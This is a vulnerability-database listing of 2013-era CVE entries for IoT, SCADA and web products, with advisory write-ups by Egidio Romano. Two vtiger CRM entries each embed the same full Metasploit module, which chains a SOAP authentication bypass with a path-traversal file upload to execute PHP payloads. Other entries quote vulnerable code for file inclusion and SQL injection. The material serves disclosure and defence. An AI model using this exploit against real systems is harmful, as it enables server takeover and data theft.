VARIoT IoT vulnerabilities database

Affected products: vendor, model and version
CWE format is 'CWE-number'. Threat type can be: remote or local
Look up free text in title and description

VAR-201308-0092 CVE-2013-3448 Cisco WebEx Meetings Server Vulnerable to access restrictions CVSS V2: 4.0
CVSS V3: -
Severity: MEDIUM
Cisco WebEx Meetings Server does not check whether a user account is active, which allows remote authenticated users to bypass intended access restrictions by performing meeting operations after account deactivation, aka Bug ID CSCuh33315. Cisco WebEx is a web conferencing solution. An attacker can exploit this issue to bypass the authentication mechanism and gain unauthorized access to vulnerable application. This may lead to further attacks. This issue is tracked by Cisco Bug ID CSCuh33315. Cisco WebEx Meetings Server (CWMS) is a set of multi-functional conference solutions including audio, video and Web conference in Cisco's WebEx conference solution
VAR-202001-0885 CVE-2013-3212 vtiger CRM  Vulnerability in injection

Related entries in the VARIoT exploits database: VAR-E-201308-0074
CVSS V2: 6.8
CVSS V3: 8.1
Severity: HIGH
vtiger CRM 5.4.0 and earlier contain local file-include vulnerabilities in 'customerportal.php' which allows remote attackers to view files and execute local script code. vtiger CRM Contains an injection vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. vtiger CRM is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input. This may allow the attacker to compromise the application; other attacks are also possible. vtiger CRM 5.4.0 and prior are vulnerable. Vtiger CRM is a customer relationship management system (CRM) based on SugarCRM developed by American Vtiger Company. The management system provides functions such as management, collection, and analysis of customer information. The vulnerability comes from the fact that the program does not properly filter the input submitted by the user. --------------------------------------------------------------------------------- vtiger CRM <= 5.4.0 (customerportal.php) Two Local File Inclusion Vulnerabilities --------------------------------------------------------------------------------- [-] Software Link: http://www.vtiger.com/ [-] Affected Versions: [1] All versions from 5.1.0 to 5.4.0. [2] All versions from 5.2.0 to 5.4.0. [-] Vulnerability Description: 1) The vulnerable code is located in the get_list_values SOAP method defined in /soap/customerportal.php: 1528. function get_list_values($id,$module,$sessionid,$only_mine='true') 1529. { 1530. require_once('modules/'.$module.'/'.$module.'.php'); 1531. require_once('include/utils/UserInfoUtil.php'); 1532. global $adb,$log,$current_user; 1533. $log->debug("Entering customer portal function get_list_values"); 2) The vulnerable code is located in the get_project_components SOAP method defined in /soap/customerportal.php: 2778. function get_project_components($id,$module,$customerid,$sessionid) { 2779. require_once("modules/$module/$module.php"); 2780. require_once('include/utils/UserInfoUtil.php'); 2781. 2782. global $adb,$log; 2783. $log->debug("Entering customer portal function get_project_components .."); The vulnerabilities exist because these methods fail to properly validate input passed through the "module" parameter, that is being used in a call to the require_once() function (lines 1530 and 2779). This might be exploited to include arbitrary local files containing malicious PHP code. Successful exploitation of these vulnerabilities requires the application running on PHP < 5.3.4, because a null byte injection is required. [-] Solution: Apply the vendor patch:http://www.vtiger.com/blogs/?p=1467 [-] Disclosure Timeline: [13/01/2013] - Vendor notified [06/02/2013] - Vendor asked feedback abouthttp://trac.vtiger.com/cgi-bin/trac.cgi/changeset/13848 [05/03/2013] - Feedback provided to the vendor [26/03/2013] - Vendor patch released [18/04/2013] - CVE number requested [20/04/2013] - CVE number assigned [01/08/2013] - Public disclosure [-] CVE Reference: The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2013-3212 to these vulnerabilities. [-] Credits: Vulnerabilities discovered by Egidio Romano. [-] Original Advisory: http://karmainsecurity.com/KIS-2013-05
VAR-202001-0887 CVE-2013-3215 vtiger CRM  Vulnerabilities in authentication

Related entries in the VARIoT exploits database: VAR-E-201308-0074, VAR-E-201308-0073
CVSS V2: 7.5
CVSS V3: 9.8
Severity: CRITICAL
vtiger CRM 5.4.0 and earlier contain an Authentication Bypass Vulnerability due to improper authentication validation in the validateSession function. vtiger CRM Contains an authentication vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. vtiger CRM is prone to an authentication-bypass vulnerability. An attacker can exploit this issue to bypass the authentication mechanism and perform unauthorized actions. This may aid in further attacks. vtiger CRM 5.4.0 and prior are vulnerable. Vtiger CRM is a customer relationship management system (CRM) based on SugarCRM developed by American Vtiger Company. The management system provides functions such as management, collection, and analysis of customer information. [-] Vulnerability Description: The vulnerable code is located in the validateSession() function, which is defined in multiple SOAP services: function validateSession($username, $sessionid) { global $adb,$current_user; $adb->println("Inside function validateSession($username, $sessionid)"); require_once("modules/Users/Users.php"); $seed_user = new Users(); $id = $seed_user->retrieve_user_id($username); $server_sessionid = getServerSessionId($id); $adb->println("Checking Server session id and customer input session id ==> $server_sessionid == $sessionid"); if($server_sessionid == $sessionid) { $adb->println("Session id match. Authenticated to do the current operation."); return true; } else { $adb->println("Session id does not match. Not authenticated to do the current operation."); return false; } } The vulnerability exists because the "sessionid" parameter isn't properly validated before being compared with the $server_sessionid variable, which is the value returned by the getServerSessionId() function. If called with an invalid session ID, then this function will return "null", in this case the validateSession() will return "true" if the "sessionid" parameter is set to 0, "false", or "null". by calling a SOAP method without providing the "username" and "sessionid" parameters. [-] Solution: Apply the vendor patch:http://www.vtiger.com/blogs/?p=1467 [-] Disclosure Timeline: [13/01/2013] - Vendor notified [06/02/2013] - Vendor asked feedback abouthttp://trac.vtiger.com/cgi-bin/trac.cgi/changeset/13848 [05/03/2013] - Feedback provided to the vendor [26/03/2013] - Vendor patch released [18/04/2013] - CVE number requested [20/04/2013] - CVE number assigned [01/08/2013] - Public disclosure [-] CVE Reference: The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2013-3215 to this vulnerability. [-] Credits: Vulnerability discovered by Egidio Romano. [-] Original Advisory: http://karmainsecurity.com/KIS-2013-08 . ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include REXML include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload', 'Description' => %q{ vTiger CRM allows an user to bypass authentication when requesting SOAP services. In addition, arbitrary file upload is possible through the AddEmailAttachment SOAP service. By combining both vulnerabilities an attacker can upload and execute PHP code. This module has been tested successfully on vTiger CRM v5.4.0 over Ubuntu 10.04 and Windows 2003 SP2. }, 'Author' => [ 'Egidio Romano', # Vulnerability discovery 'juan vazquez' # msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-3214' ], [ 'CVE', '2013-3215' ], [ 'OSVDB', '95902' ], [ 'OSVDB', '95903' ], [ 'BID', '61558' ], [ 'BID', '61559' ], [ 'EDB', '27279' ], [ 'URL', 'http://karmainsecurity.com/KIS-2013-07' ], [ 'URL', 'http://karmainsecurity.com/KIS-2013-08' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { # Arbitrary big number. The payload is sent base64 encoded # into a POST SOAP request 'Space' => 262144, # 256k 'DisableNops' => true }, 'Targets' => [ [ 'vTigerCRM v5.4.0', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 26 2013')) register_options( [ OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']) ], self.class) end def check test_one = check_email_soap("admin", rand_text_alpha(4 + rand(4))) res = send_soap_request(test_one) unless res and res.code == 200 and res.body.to_s =~ /<return xsi:nil="true" xsi:type="xsd:string"\/>/ return Exploit::CheckCode::Unknown end test_two = check_email_soap("admin") res = send_soap_request(test_two) if res and res.code == 200 and (res.body.blank? or res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit file_name = rand_text_alpha(rand(10)+6) + '.php' php = %Q|<?php #{payload.encoded} ?>| soap = add_attachment_soap(file_name, php) res = send_soap_request(soap) print_status("#{peer} - Uploading payload...") if res and res.code == 200 and res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/ print_good("#{peer} - Upload successfully uploaded") register_files_for_cleanup(file_name) else fail_with(Failure::Unknown, "#{peer} - Upload failed") end print_status("#{peer} - Executing payload...") send_request_cgi({'uri' => normalize_uri(target_uri.path, 'soap', file_name)}, 0) end def add_attachment_soap(file_name, file_data) xml = Document.new xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:crm' => "http://www.vtiger.com/products/crm" }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") body = xml.root.elements[2] body.add_element( "crm:AddEmailAttachment", { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }) crm = body.elements[1] crm.add_element("emailid", {'xsi:type' => 'xsd:string'}) crm.add_element("filedata", {'xsi:type' => 'xsd:string'}) crm.add_element("filename", {'xsi:type' => 'xsd:string'}) crm.add_element("filesize", {'xsi:type' => 'xsd:string'}) crm.add_element("filetype", {'xsi:type' => 'xsd:string'}) crm.add_element("username", {'xsi:type' => 'xsd:string'}) crm.add_element("session", {'xsi:type' => 'xsd:string'}) crm.elements['emailid'].text = rand_text_alpha(4+rand(4)) crm.elements['filedata'].text = "MSF_PAYLOAD" crm.elements['filename'].text = "MSF_FILENAME" crm.elements['filesize'].text = file_data.length.to_s crm.elements['filetype'].text = "php" crm.elements['username'].text = rand_text_alpha(4+rand(4)) xml_string = xml.to_s xml_string.gsub!(/MSF_PAYLOAD/, Rex::Text.encode_base64(file_data)) xml_string.gsub!(/MSF_FILENAME/, "../../../../../../#{file_name}") return xml_string end def check_email_soap(user_name = "", session = "") xml = Document.new xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:crm' => "http://www.vtiger.com/products/crm" }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") body = xml.root.elements[2] body.add_element( "crm:CheckEmailPermission", { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }) crm = body.elements[1] crm.add_element("username", {'xsi:type' => 'xsd:string'}) crm.add_element("session", {'xsi:type' => 'xsd:string'}) crm.elements['username'].text = user_name crm.elements['session'].text = session xml.to_s end def send_soap_request(soap_data) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'soap', 'vtigerolservice.php'), 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => soap_data }) return res end end
VAR-202001-1150 CVE-2013-4864 Mi Casa Verde VeraLite Security Bypass Vulnerability

Related entries in the VARIoT exploits database: VAR-E-201308-0135
CVSS V2: 7.5
CVSS V3: 9.8
Severity: CRITICAL
MiCasaVerde VeraLite with firmware 1.5.408 allows remote attackers to send HTTP requests to intranet servers via the url parameter to cgi-bin/cmh/proxy.sh, related to a Server-Side Request Forgery (SSRF) issue. MiCasaVerde VeraLite Contains a server-side request forgery vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Mi Casa Verde VeraLite is a home gateway controller device from Mi Casa Verde, Hong Kong, China. The device can control the home appliances connected to the home Wi-Fi network through a computer or mobile phone. There is a security bypass vulnerability in Mi Casa Verde VeraLite. An attacker can exploit a vulnerability to bypass specific security restrictions and perform unauthorized operations
VAR-201912-1592 CVE-2013-4859 INSTEON Hub Inadequate default permissions vulnerability

Related entries in the VARIoT exploits database: VAR-E-201308-0216
CVSS V2: 9.3
CVSS V3: 8.1
Severity: HIGH
INSTEON Hub 2242-222 lacks Web and API authentication. INSTEON Hub Contains an improper default permissions vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. The INSTEON Hub is used by users to control automatic devices in the home over the network. INSTEON Hub lacks proper validation for web interface access and API calls, allowing remote attackers to exploit the vulnerability to unauthorized control devices and perform various operations. INSTEON Hub is prone to multiple security-bypass vulnerabilities. An attacker may exploit these issues to bypass certain security restrictions and perform unauthorized actions. INSTEON Hub 2242-222 is vulnerable; other versions may also be affected
VAR-201309-0480 No CVE ClearSCADA Web Request Handling Remote Denial of Service Vulnerability CVSS V2: 5.0
CVSS V3: -
Severity: MEDIUM
ClearSCADA is an integrated SCADA host platform that includes a rotation training engine, real-time database, web server, alarm processor and reporting software. ClearSCADA handles a WEB request with an error that allows a remote attacker to exploit a vulnerability to submit a malicious request, trigger an exception, and crash the application. ClearSCADA is prone to a denial-of-service vulnerability. An attacker can exploit this issue to trigger an exception and cause denial-of-service condition
VAR-201308-0165 CVE-2013-2790 IOServer of master-station DNP3 Service disruption in drivers (DoS) Vulnerabilities CVSS V2: 7.8
CVSS V3: -
Severity: HIGH
The master-station DNP3 driver before driver19.exe, and Beta2041.exe, in IOServer allows remote attackers to cause a denial of service (infinite loop) via crafted DNP3 packets to TCP port 20000. IOServer is a Windows-based OPC server that allows OPC clients such as human-machine interfaces and monitoring and data acquisition systems to exchange factory data with programmable logic circuits. The IOServer driver does not verify or correctly verify the input on the primary server on port 20000/TCP, which can affect the control flow or database flow of the program. When an attacker can submit a special request to make the IOServer enter an infinite loop without exiting, you need to manually restart to get the normal function. Multiple IOServer drivers are prone to a remote denial-of-service vulnerability. This will result in a denial-of-service condition
VAR-201404-0102 CVE-2013-3213 Vtiger CRM In SQL Injection vulnerability

Related entries in the VARIoT exploits database: VAR-E-201308-0074
CVSS V2: 7.5
CVSS V3: -
Severity: HIGH
Multiple SQL injection vulnerabilities in vTiger CRM 5.0.0 through 5.4.0 allow remote attackers to execute arbitrary SQL commands via the (1) picklist_name parameter in the get_picklists method to soap/customerportal.php, (2) where parameter in the get_tickets_list method to soap/customerportal.php, or (3) emailaddress parameter in the SearchContactsByEmail method to soap/vtigerolservice.php; or remote authenticated users to execute arbitrary SQL commands via the (4) emailaddress parameter in the SearchContactsByEmail method to soap/thunderbirdplugin.php. Vtiger CRM Is SQL An injection vulnerability exists.By any third party, via the following parameters SQL The command may be executed. (4) soap/thunderbirdplugin.php of SearchContactsByEmail In the method emailaddress Parameters. vtiger CRM is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query. Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. vtiger CRM 5.0.0 through versions 5.4.0 are vulnerable. Vtiger CRM is a customer relationship management system (CRM) based on SugarCRM developed by American Vtiger Company. The management system provides functions such as management, collection, and analysis of customer information. The vulnerability comes from the fact that the soap/customerportal.php script does not correctly filter the 'picklist_name' parameter in the get_picklists method; the soap/customerportal.php script does not correctly filter the get_tickets_list method The 'where' parameter; the soap/vtigerolservice.php script does not correctly filter the 'emailaddress' parameter in the SearchContactsByEmail method; the soap/thunderbirdplugin.php script does not correctly filter the 'emailaddress' parameter in the SearchContactsByEmail method. [-] Vulnerability Description: 1) The vulnerable code is located in the get_picklists SOAP method defined in /soap/customerportal.php: 1177. $id = $input_array['id']; 1178. $sessionid = $input_array['sessionid']; 1179. $picklist_name = $adb->sql_escape_string($input_array['picklist_name']); 1180. 1181. if(!validateSession($id,$sessionid)) 1182. return null; 1183. 1184. $picklist_array = Array(); 1185. 1186. $admin_role = 'H2'; 1187. $userid = getPortalUserid(); 1188. $roleres = $adb->pquery("SELECT roleid from vtiger_user2role where userid = ?", array($userid)); 1189. $RowCount = $adb->num_rows($roleres); 1190. if($RowCount > 0){ 1191. $admin_role = $adb->query_result($roleres,0,'roleid'); 1192. } 1193. 1194. $res = $adb->pquery("select vtiger_". $picklist_name.".* from vtiger_". $picklist_name." inner join [...] User input passed through the "picklist_name" parameter seems to be correctly sanitised by the sql_escape_string() method, but the vulnerability exists because it's used in the query at line 1194 without single or double quotes. This can be exploited to conduct blind SQL injection attacks. 2) The vulnerable code is located in the get_tickets_list SOAP method defined in /soap/customerportal.php: 654. $id = $input_array['id']; 655. $only_mine = $input_array['onlymine']; 656. $where = $input_array['where']; //addslashes is already added with where condition fields in portal itself 657. $match = $input_array['match']; 658. $sessionid = $input_array['sessionid']; 659. 660. if(!validateSession($id,$sessionid)) 661. return null; 662. 663. // Prepare where conditions based on search query 664. $join_type = ''; 665. $where_conditions = ''; 666. if(trim($where) != '') { 667. if($match == 'all' || $match == '') { 668. $join_type = " AND "; 669. } elseif($match == 'any') { 670. $join_type = " OR "; 671. } 672. $where = explode("&&&",$where); 673. $where_conditions = implode($join_type, $where); [...] 707. $query = "SELECT vtiger_troubletickets.*, vtiger_crmentity.smownerid,vtiger_crmentity.createdtime, [...] 708. FROM vtiger_troubletickets 709. INNER JOIN vtiger_crmentity ON vtiger_crmentity.crmid = vtiger_troubletickets.ticketid AND [...] 710. WHERE vtiger_troubletickets.parent_id IN (". generateQuestionMarks($entity_ids_list) .")"; 711. // Add conditions if there are any search parameters 712. if ($join_type != '' && $where_conditions != '') { 713. $query .= " AND (".$where_conditions.")"; 714. } User input passed through the "where" parameter isn't properly validated before being used in a SQL query at line 713. This can be exploited to conduct SQL injection attacks. 3) The vulnerable code is located in the SearchContactsByEmail SOAP method defined in /soap/thunderbirdplugin.php: 186. function SearchContactsByEmail($username,$password,$emailaddress) 187. { 188. if(authentication($username,$password)) 189. { 190. require_once('modules/Contacts/Contacts.php'); 191. 192. $seed_contact = new Contacts(); 193. $output_list = Array(); 194. 195. $response = $seed_contact->get_searchbyemailid($username,$emailaddress); User input passed through the "emailaddress" parameter isn't properly validated before being used in a call to the Contacts::get_searchbyemailid() method at line 195. This can be exploited to conduct SQL injection attacks. Successful exploitation of this vulnerability requires authentication. 4) The vulnerable code is located in the SearchContactsByEmail SOAP method defined in /soap/vtigerolservice.php: 282. function SearchContactsByEmail($username,$session,$emailaddress) 283. { 284. if(!validateSession($username,$session)) 285. return null; 286. require_once('modules/Contacts/Contacts.php'); 287. 288. $seed_contact = new Contacts(); 289. $output_list = Array(); 290. 291. $response = $seed_contact->get_searchbyemailid($username,$emailaddress); User input passed through the "emailaddress" parameter isn't properly validated before being used in a call to the Contacts::get_searchbyemailid() method at line 291. This can be exploited to conduct SQL injection attacks. Successful exploitation of this vulnerability requires knowledge of a valid username. [-] Solution: Apply the vendor patch:http://www.vtiger.com/blogs/?p=1467 [-] Disclosure Timeline: [13/01/2013] - Vendor notified [06/02/2013] - Vendor asked feedback abouthttp://trac.vtiger.com/cgi-bin/trac.cgi/changeset/13848 [05/03/2013] - Feedback provided to the vendor [26/03/2013] - Vendor patch released [18/04/2013] - CVE number requested [20/04/2013] - CVE number assigned [01/08/2013] - Public disclosure [-] CVE Reference: The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2013-3213 to these vulnerabilities. [-] Credits: Vulnerabilities discovered by Egidio Romano. [-] Original Advisory: http://karmainsecurity.com/KIS-2013-06
VAR-202001-0886 CVE-2013-3214 vtiger CRM  Vulnerability in injection

Related entries in the VARIoT exploits database: VAR-E-201308-0074, VAR-E-201308-0073
CVSS V2: 7.5
CVSS V3: 9.8
Severity: CRITICAL
vtiger CRM 5.4.0 and earlier contain a PHP Code Injection Vulnerability in 'vtigerolservice.php'. vtiger CRM Contains an injection vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. vtiger CRM 5.4.0 and prior are vulnerable. Vtiger CRM is a customer relationship management system (CRM) based on SugarCRM developed by American Vtiger Company. The management system provides functions such as management, collection, and analysis of customer information. [-] Vulnerability Description: The vulnerable code is located in the AddEmailAttachment SOAP method defined in /soap/vtigerolservice.php: 458. function AddEmailAttachment($emailid,$filedata,$filename,$filesize,$filetype,$username,$session) 459. { 460. if(!validateSession($username,$session)) 461. return null; 462. global $adb; 463. require_once('modules/Users/Users.php'); 464. require_once('include/utils/utils.php'); 465. $filename = preg_replace('/\s+/', '_', $filename);//replace space with _ in filename 466. $date_var = date('Y-m-d H:i:s'); 467. 468. $seed_user = new Users(); 469. $user_id = $seed_user->retrieve_user_id($username); 470. 471. $crmid = $adb->getUniqueID("vtiger_crmentity"); 472. 473. $upload_file_path = decideFilePath(); 474. 475. $handle = fopen($upload_file_path.$crmid."_".$filename,"wb"); 476. fwrite($handle,base64_decode($filedata),$filesize); 477. fclose($handle); The vulnerability exists because this method fails to properly validate input passed through the "filedata" and "filename" parameters, which are used to write an "email attachment" in the storage directory (lines 475-477). [-] Solution: The patch provided by the vendor (http://www.vtiger.com/blogs/?p=1467) doesn't fix completely this vulnerability, because a remote authenticated user can still be able to inject and execute arbitrary code. [*] The vendor was alerted about this when the feedback has been provided. [-] Disclosure Timeline: [13/01/2013] - Vendor notified [06/02/2013] - Vendor asked feedback abouthttp://trac.vtiger.com/cgi-bin/trac.cgi/changeset/13848 [05/03/2013] - Feedback provided to the vendor [*] [26/03/2013] - Vendor patch released [18/04/2013] - CVE number requested [20/04/2013] - CVE number assigned [01/08/2013] - Public disclosure [-] CVE Reference: The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2013-3214 to this vulnerability. [-] Credits: Vulnerability discovered by Egidio Romano. [-] Original Advisory: http://karmainsecurity.com/KIS-2013-07 . ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include REXML include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload', 'Description' => %q{ vTiger CRM allows an user to bypass authentication when requesting SOAP services. In addition, arbitrary file upload is possible through the AddEmailAttachment SOAP service. This module has been tested successfully on vTiger CRM v5.4.0 over Ubuntu 10.04 and Windows 2003 SP2. }, 'Author' => [ 'Egidio Romano', # Vulnerability discovery 'juan vazquez' # msf module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-3214' ], [ 'CVE', '2013-3215' ], [ 'OSVDB', '95902' ], [ 'OSVDB', '95903' ], [ 'BID', '61558' ], [ 'BID', '61559' ], [ 'EDB', '27279' ], [ 'URL', 'http://karmainsecurity.com/KIS-2013-07' ], [ 'URL', 'http://karmainsecurity.com/KIS-2013-08' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { # Arbitrary big number. The payload is sent base64 encoded # into a POST SOAP request 'Space' => 262144, # 256k 'DisableNops' => true }, 'Targets' => [ [ 'vTigerCRM v5.4.0', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 26 2013')) register_options( [ OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']) ], self.class) end def check test_one = check_email_soap("admin", rand_text_alpha(4 + rand(4))) res = send_soap_request(test_one) unless res and res.code == 200 and res.body.to_s =~ /<return xsi:nil="true" xsi:type="xsd:string"\/>/ return Exploit::CheckCode::Unknown end test_two = check_email_soap("admin") res = send_soap_request(test_two) if res and res.code == 200 and (res.body.blank? or res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit file_name = rand_text_alpha(rand(10)+6) + '.php' php = %Q|<?php #{payload.encoded} ?>| soap = add_attachment_soap(file_name, php) res = send_soap_request(soap) print_status("#{peer} - Uploading payload...") if res and res.code == 200 and res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/ print_good("#{peer} - Upload successfully uploaded") register_files_for_cleanup(file_name) else fail_with(Failure::Unknown, "#{peer} - Upload failed") end print_status("#{peer} - Executing payload...") send_request_cgi({'uri' => normalize_uri(target_uri.path, 'soap', file_name)}, 0) end def add_attachment_soap(file_name, file_data) xml = Document.new xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:crm' => "http://www.vtiger.com/products/crm" }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") body = xml.root.elements[2] body.add_element( "crm:AddEmailAttachment", { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }) crm = body.elements[1] crm.add_element("emailid", {'xsi:type' => 'xsd:string'}) crm.add_element("filedata", {'xsi:type' => 'xsd:string'}) crm.add_element("filename", {'xsi:type' => 'xsd:string'}) crm.add_element("filesize", {'xsi:type' => 'xsd:string'}) crm.add_element("filetype", {'xsi:type' => 'xsd:string'}) crm.add_element("username", {'xsi:type' => 'xsd:string'}) crm.add_element("session", {'xsi:type' => 'xsd:string'}) crm.elements['emailid'].text = rand_text_alpha(4+rand(4)) crm.elements['filedata'].text = "MSF_PAYLOAD" crm.elements['filename'].text = "MSF_FILENAME" crm.elements['filesize'].text = file_data.length.to_s crm.elements['filetype'].text = "php" crm.elements['username'].text = rand_text_alpha(4+rand(4)) xml_string = xml.to_s xml_string.gsub!(/MSF_PAYLOAD/, Rex::Text.encode_base64(file_data)) xml_string.gsub!(/MSF_FILENAME/, "../../../../../../#{file_name}") return xml_string end def check_email_soap(user_name = "", session = "") xml = Document.new xml.add_element( "soapenv:Envelope", { 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", 'xmlns:crm' => "http://www.vtiger.com/products/crm" }) xml.root.add_element("soapenv:Header") xml.root.add_element("soapenv:Body") body = xml.root.elements[2] body.add_element( "crm:CheckEmailPermission", { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }) crm = body.elements[1] crm.add_element("username", {'xsi:type' => 'xsd:string'}) crm.add_element("session", {'xsi:type' => 'xsd:string'}) crm.elements['username'].text = user_name crm.elements['session'].text = session xml.to_s end def send_soap_request(soap_data) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'soap', 'vtigerolservice.php'), 'method' => 'POST', 'ctype' => 'text/xml; charset=UTF-8', 'data' => soap_data }) return res end end
VAR-201406-0070 CVE-2013-4860 Radio Thermostat CT80 And CT50 Remote Security Bypass Vulnerability CVSS V2: 8.3
CVSS V3: -
Severity: HIGH
Radio Thermostat CT80 And CT50 with firmware 1.4.64 and earlier does not restrict access to the API, which allows remote attackers to change the operation mode, wifi connection settings, temperature thresholds, and other settings via unspecified vectors. The Radio Thermostat CT80 and CT50 are temperature controlled via WiFi. An attacker may leverage this issue to bypass certain security restrictions and perform unauthorized actions. Radio Thermostat CT80 and CT50 running versions 1.4.64 and prior are vulnerable. This product manages heating and cooling systems in homes
VAR-201308-0266 CVE-2013-4911 Siemens SIMATIC WinCC TIA Portal Cross-Site Request Forgery Vulnerability CVSS V2: 6.8
CVSS V3: -
Severity: MEDIUM
Cross-site request forgery (CSRF) vulnerability in Siemens WinCC (TIA Portal) 11 and 12 before 12 SP1 allows remote attackers to hijack the authentication of unspecified victims by leveraging improper configuration of SIMATIC HMI panels by the WinCC product. Based on the Windows platform, Siemens SIMATIC WinCC provides complete monitoring and data acquisition (SCADA) functionality for the industrial sector, from single-user systems to multi-user systems supporting redundant servers and remote web client solutions. Siemens SIMATIC WinCC TIA Portal is prone to a cross-site request-forgery vulnerability. Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible. Siemens SIMATIC WinCC TIA Portal prior to 12SP1 are vulnerable. The software enables fast and intuitive development and commissioning of automation systems. A remote attacker can exploit this vulnerability to hijack user authentication through incorrectly configured SIMATIC HMI panels of WinCC products
VAR-201308-0267 CVE-2013-4912 Siemens SIMATIC WinCC TIA Portal URL Redirection Vulnerability CVSS V2: 5.8
CVSS V3: -
Severity: MEDIUM
Open redirect vulnerability in Siemens WinCC (TIA Portal) 11 and 12 before 12 SP1 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks by leveraging improper configuration of SIMATIC HMI panels by the WinCC product. Based on the Windows platform, Siemens SIMATIC WinCC provides complete monitoring and data acquisition (SCADA) functionality for the industrial sector, from single-user systems to multi-user systems supporting redundant servers and remote web client solutions. Siemens SIMATIC WinCC TIA Portal is prone to a remote URL-redirection vulnerability. An attacker can leverage this issue by constructing a URI that includes a malicious site redirection. When an unsuspecting victim follows the URI, they may be redirected to an attacker-controlled site; this may aid in phishing attacks. Siemens SIMATIC WinCC TIA Portal prior to 12SP1 are vulnerable. The software enables fast and intuitive development and commissioning of automation systems
VAR-201308-0006 CVE-2012-3913 Cisco VC220 and VC240 Service disruption in cameras (DoS) Vulnerabilities CVSS V2: 5.0
CVSS V3: -
Severity: MEDIUM
The Cisco VC220 and VC240 cameras allow remote attackers to cause a denial of service (WebUI outage) via crafted packets, aka Bug IDs CSCtf73188, CSCtf88059, CSCtf87951, CSCtf87908, and CSCtf88019. Cisco VC220 and VC240 Camera has a service disruption (WebUI Stop ) There are vulnerabilities that are put into a state. Vendors have confirmed this vulnerability Bug ID CSCtf73188 , CSCtf88059 , CSCtf87951 , CSCtf87908 ,and CSCtf88019 It is released as.Denial of service operation via a packet crafted by a third party (WebUI Stop ) There is a possibility of being put into a state. The Cisco VC220 and VC240 devices are network cameras. After successful use, an unauthenticated remote attacker can send a specially-made packet to the affected device, causing the affected device to reload, preventing the WebUI from accessing the camera, and denying the legitimate user. These issues are being tracked by Cisco Bug IDs CSCtf73188, CSCtf88059, CSCtf87951, CSCtf87908, and CSCtf88019. A remote attacker can exploit this vulnerability to cause a denial of service (WebUI interruption)
